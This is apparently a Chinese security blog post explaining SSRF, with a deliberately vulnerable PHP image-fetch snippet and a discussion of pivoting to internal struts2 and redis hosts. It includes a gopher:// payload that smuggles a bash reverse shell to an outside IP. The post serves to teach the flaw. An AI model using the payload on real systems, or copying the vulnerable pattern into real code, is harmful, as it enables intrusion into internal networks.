很早就看到别人对这个漏洞的研究,但是完全没有预想到它能有这么大的能量。
0x00
最初觉得请求他域资源如果限制不严格,可能导致安全边界穿越。然而边界穿越导致内网信息泄露并不是重点,最近的redis未授权、struts2命令执行等等存放在安全位置而忽略了安全配置的机器则把这个漏洞的能量放大了很多倍。
0x01
先在php上写了一个ssrf简单环境。
对比上面两张图,本来这个功能在头像功能也许大家都见过,可以直接填入图片的url地址设定它为自己的头像。然而如果对填入的url地址没有处理,就可能导致本机etc/passed或者内网文件被这个功能直接读取出来。
在开启其他脑洞,进行内网端口探测以后,假设内网存在 struts2命令执行 这种可以把exp通过get参数简单传入的漏洞 ,利用从这个ssrf点传入攻击代码反弹一个shell。。。那么这把钥匙则可以直接打开内网的大门。
1 | <?php if (isset($_GET['url'])) { $content = file_get_contents($_GET['url']); $filename ='./images/'.rand().'img1.jpg'; file_put_contents($filename, $content); $img = "<img src=\"".$filename."\"/>"; } echo $img; ?> |
这个是简单测试代码,从代码上看,除了file_get_content()还有fsockopen()、curl_exec()等等资源获取的函数都可能存在这个漏洞。从黑盒来看,用户控制点作为资源地址传到函数中进行资源请求还是比较明显的,甚至有些vpn产品把这个当成一个正常的功能来使人员在外界可以访问到内网的系统。
0x02
zzx说,能够对外发送网络请求的点都有可能存在ssrf漏洞。
因此针对应用二次挖掘的时候,在discuz、weblogic、sql连接器、xml执行器等等位置都可能存在这个漏洞。存在漏洞点对协议的支持也和是否能利用有很大关系,比如http get/put;webdav put;file;ftp/smtp/pop2;dict等等。
是否能够回显同样也是利用的重要因素,比如上面代码可以直接获取结果的完全回显,或者是只会返回成功失败的布尔回显以及甚至无回显。前段时间看到百度对自家ssrf的漏洞危险等级就是用回显程度来定义的。
如果漏洞存在点支持gopher协议可以直接用来进行文件操作getshell(参考gopher在xxe中的使用)。1
gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null
所以简单来说,这个漏洞本身在很多地方都不被定义为漏洞。这个漏洞相当于一个起手式,比如一个布尔回显不支持gopher等协议的ssrf点,如果没有后招,则只能做一个内网拓扑,杀伤力很小。如果配合打出组合技则能打出意想不到的巨大杀伤,比如内网恰巧有一台未授权的redis。
0x03
在参考链接中给出一些我觉得这个漏洞利用比较经典的例子,更多的巧妙使用协议、巧妙组合其他利用就不再贴图了,抛砖引玉,有兴趣的少年可以进一步找出更多有趣的利用,脑洞有多大,漏洞能量就有多大。
最近的cve vBulletin rec中ssrf的利用就非常的经典。
参考链接
http://drops.wooyun.org/papers/8261
http://drops.wooyun.org/web/7550
http://www.wooyun.org/bugs/wooyun-2010-0213982
http://www.wooyun.org/bugs/wooyun-2010-0214429
http://www.freebuf.com/articles/web/20407.html